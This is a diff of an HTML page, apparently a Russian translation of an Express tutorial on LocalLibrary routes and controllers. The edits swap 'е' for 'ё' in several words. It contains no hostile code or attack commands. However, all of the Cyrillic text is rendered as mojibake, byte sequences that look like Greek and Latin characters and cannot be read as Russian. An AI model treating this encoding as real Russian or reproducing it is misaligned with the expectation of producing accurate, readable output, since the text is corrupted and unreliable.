<p>ΠŸΠ΅Ρ€Π²Π°Ρ домашняя страница ΠΈ страницы со списками Π½Π΅ ΠΊΠΎΠ΄ΠΈΡ€ΡƒΡŽΡ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. Π₯отя Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ запросами, Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°Π²ΠΈΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ Ρ‚ΠΈΠΏΠ° ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΈ ΠΎΡ‚ содСрТимого Π‘Π”, запросы для получСния этой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ всСгда Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ (ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ Ρ‚ΠΎΠΌΡƒ, ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ для создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ΄Π½ΠΈΠΌ ΠΈ Ρ‚Π΅ΠΌ ΠΆΠ΅).Β </p>
-<p>Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ этому, Π΄Ρ€ΡƒΠ³ΠΈΠ΅Β URL ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с  ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ экзСмплярами Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΈ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉβ€” ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ элСмСнтов кодируСтся Π² Β URL (ΠΊΠ°ΠΊΒ <code><em>&lt;id&gt;</em></code>Β Π²Ρ‹ΡˆΠ΅). ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΡƒΡ‚Π΅ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для извлСчСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΅Π΅ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΏΡƒΡ‚ΠΈΒ (ΠΈ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ этот ΠΏΡ€ΠΈΠ΅ΠΌ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ динамичСски ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ, ΠΊΠ°ΠΊΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ слСдуСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ· Π‘Π”). By encoding the information in our URL we only need one route for every resource of a particular type (e.g. one route to handle the display of every single book item).</p>
+<p>Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ этому, Π΄Ρ€ΡƒΠ³ΠΈΠ΅Β URL ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с  ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ экзСмплярами Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΈ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉβ€” ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ элСмСнтов кодируСтся Π² Β URL (ΠΊΠ°ΠΊΒ <code><em>&lt;id&gt;</em></code>Β Π²Ρ‹ΡˆΠ΅). ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΡƒΡ‚Π΅ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для извлСчСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΅Ρ‘ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΏΡƒΡ‚ΠΈΒ (ΠΈ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ этот ΠΏΡ€ΠΈΡ‘ΠΌ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ динамичСски ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ, ΠΊΠ°ΠΊΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ слСдуСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ· Π‘Π”). By encoding the information in our URL we only need one route for every resource of a particular type (e.g. one route to handle the display of every single book item).</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Express позволяСт ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ URL Π»ΡŽΠ±Ρ‹ΠΌ способом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Π²Π°ΠΌ нравится — ΠΌΠΎΠΆΠ½ΠΎ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Ρ‚Π΅Π»Π΅Β  URL ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ URL <code>GET</code>Β -запрос с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈΒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β <code>/book/?id=6</code>). Какой Π±Ρ‹ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π²Ρ‹ Π½Π΅ примСняли, URLΒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ясными, Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΈ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌΠΈ (ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с совСтами<a href="https://www.w3.org/Provider/Style/URI">Β W3C</a>).</p>
@@ -198,11 +198,11 @@ app.use('/wiki', wiki);</code></pre>
<p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ создадим колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² ΠΈ ΠΊΠΎΠ΄ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² для всСх ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ URL.</p>
-<h2 id="Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ_колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ²_ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²">Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²</h2>
+<h2 id="Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ_колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ²_ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²">Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²</h2>
<p>ΠŸΠ΅Ρ€Π΅Π΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² сначала создадим Ρ„ΠΈΠΊΡ‚ΠΈΠ²Π½Ρ‹Π΅ (каркасныС) колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ. Π­Ρ‚ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… модулях -"ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°Ρ…" для ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ Book, BookInstance, Genre, ΠΈΒ AuthorΒ (ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ структуру ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ², Π½ΠΎ каТСтся, Ρ‡Ρ‚ΠΎ выбранная обСспСчиваСт ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡƒΡŽ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ нашСго ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°).</p>
-<p>НачнСм с создания ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° для ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ² Π² ΠΊΠΎΡ€Π½Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°Β (<strong>/controllers</strong>), Π° Π·Π°Ρ‚Π΅ΠΌ создадим ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ (ΠΌΠΎΠ΄ΡƒΠ»ΠΈ) ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ² для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с модСлями:</p>
+<p>Начнём с создания ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° для ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ² Π² ΠΊΠΎΡ€Π½Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°Β (<strong>/controllers</strong>), Π° Π·Π°Ρ‚Π΅ΠΌ создадим ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ (ΠΌΠΎΠ΄ΡƒΠ»ΠΈ) ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ² для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с модСлями:</p>
<pre>/express-locallibrary-tutorial //ΠΊΠΎΡ€Π΅Π½ΡŒ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°
<strong>/controllers</strong>
@@ -260,7 +260,7 @@ exports.author_update_post = function(req, res) {
<p>Π’ ΠΌΠΎΠ΄ΡƒΠ»Π΅ сначала ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ (requires) модСль, которая Π΄Π°Π»Π΅Π΅ Π±ΡƒΠ΄Π΅Ρ‚ использована для получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΈΡ… обновлСния. Π”Π°Π»Π΅Π΅ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ (ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΒ create-ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ, update-ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΈΒ delete-ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ„ΠΎΡ€ΠΌΡ‹, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ post-запросов ΠΎΡ‚ Ρ„ΠΎΡ€ΠΌΒ - эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΠ±ΡΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π΄Π°Π»Π΅Π΅, Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ "forms article" ("Ρ„ΠΎΡ€ΠΌΡ‹")).</p>
-<p>ВсС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ срСднСго слоя <em>Express </em>, с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ для запроса, ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ <code>(next)</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π°, Ссли ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ» Ρ†ΠΈΠΊΠ» запроса (Π²ΠΎ всСх ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π² ΠΊΠΎΠ΄Π΅ случаях - Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚!). ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ строку, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‰ΡƒΡŽΒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π°Ρ страница Π΅Ρ‰Π΅ Π½Π΅ создана. Если функция контроллСра Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°, эти ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½Ρ‹ Π² строкС сообщСния (смотри Π²Ρ‹ΡˆΠ΅Β <code>req.params.id</code> ).</p>
+<p>ВсС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ срСднСго слоя <em>Express </em>, с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ для запроса, ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ <code>(next)</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π°, Ссли ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ» Ρ†ΠΈΠΊΠ» запроса (Π²ΠΎ всСх ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π² ΠΊΠΎΠ΄Π΅ случаях - Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚!). ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ строку, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‰ΡƒΡŽΒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π°Ρ страница Π΅Ρ‰Ρ‘ Π½Π΅ создана. Если функция контроллСра Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°, эти ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½Ρ‹ Π² строкС сообщСния (смотри Π²Ρ‹ΡˆΠ΅Β <code>req.params.id</code> ).</p>
<h4 id="BookInstance_controller">BookInstance controller</h4>
@@ -358,7 +358,7 @@ exports.genre_update_post = function(req, res) {
<h4 id="ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€_ΠΊΠ½ΠΈΠ³ΠΈ">ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ ΠΊΠ½ΠΈΠ³ΠΈ</h4>
-<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π² Ρ„Π°ΠΉΠ»Β <strong>/controllers/bookController.js</strong>. Он построСн ΠΏΠΎ ΠΎΠ±Ρ€Π°Π·Ρ†Ρƒ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ², Π½ΠΎ Π΅Ρ‰Π΅ содСрТит Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>index()</code> для Π²Ρ‹Π²ΠΎΠ΄Π° странички с привСтствиСм:</p>
+<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π² Ρ„Π°ΠΉΠ»Β <strong>/controllers/bookController.js</strong>. Он построСн ΠΏΠΎ ΠΎΠ±Ρ€Π°Π·Ρ†Ρƒ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ², Π½ΠΎ Π΅Ρ‰Ρ‘ содСрТит Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>index()</code> для Π²Ρ‹Π²ΠΎΠ΄Π° странички с привСтствиСм:</p>
<pre class="brush: js">var Book = require('../models/book');
@@ -409,9 +409,9 @@ exports.book_update_post = function(req, res) {
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_модуля_для_ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°_catalog">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ модуля для ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° catalog</h2>
-<p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ создадим ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ для всСх URL, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… Π²Π΅Π±-сайту<a href="#local_libary_routes">Β LocalLibrary</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ², ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅.</p>
+<p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ создадим ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ для всСх URL, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… Π²Π΅Π±-сайту<a href="#local_libary_routes">Β LocalLibrary</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ², ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅.</p>
-<p>ΠšΠ°Ρ€ΠΊΠ°Ρ прилоТСния ΡƒΠΆΠ΅ содСрТит ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Β <strong>./routes</strong>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΅ΡΡ‚ΡŒ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹Β Π΄Π»Ρ <em>index</em>Β ΠΈΒ <em>users</em>. Π’Π½ΡƒΡ‚Ρ€ΠΈ этого ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° создадим Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Ρ„Π°ΠΉΠ» ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²Β β€” <strong>catalog.js</strong>Β ( см. Π½ΠΈΠΆΠ΅).</p>
+<p>ΠšΠ°Ρ€ΠΊΠ°Ρ прилоТСния ΡƒΠΆΠ΅ содСрТит ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Β <strong>./routes</strong>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΅ΡΡ‚ΡŒ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹Β Π΄Π»Ρ <em>index</em>Β ΠΈΒ <em>users</em>. Π’Π½ΡƒΡ‚Ρ€ΠΈ этого ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° создадим Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Ρ„Π°ΠΉΠ» ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²Β β€” <strong>catalog.js</strong>Β ( см. Π½ΠΈΠΆΠ΅).</p>
<pre>/express-locallibrary-tutorial //the project root
/routes
@@ -419,7 +419,7 @@ exports.book_update_post = function(req, res) {
Β  users.js
Β  <strong>catalog.js</strong></pre>
-<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ Π² Ρ„Π°ΠΉΠ»Β <strong>/routes/</strong><strong>catalog.js</strong> :</p>
+<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ Π² Ρ„Π°ΠΉΠ»Β <strong>/routes/</strong><strong>catalog.js</strong> :</p>
<pre class="brush: js"><strong>var express = require('express');
var router = express.Router();
@@ -554,7 +554,7 @@ router.get('/bookinstances', book_instance_controller.bookinstance_list);
<p>ВсС Π½ΠΎΠ²Ρ‹Π΅ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ Π·Π°Π΄Π°Π½Ρ‹, Π° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ Π½Π° Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ страницу остался Π±Π΅Π· измСнСния. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΠΌ Π΅Π³ΠΎ Π½Π° Π½ΠΎΠ²ΡƒΡŽ страницу "index", которая создана Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ Β '/catalog'.</p>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅Β <strong>/routes/index.js</strong>Β ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅.</p>
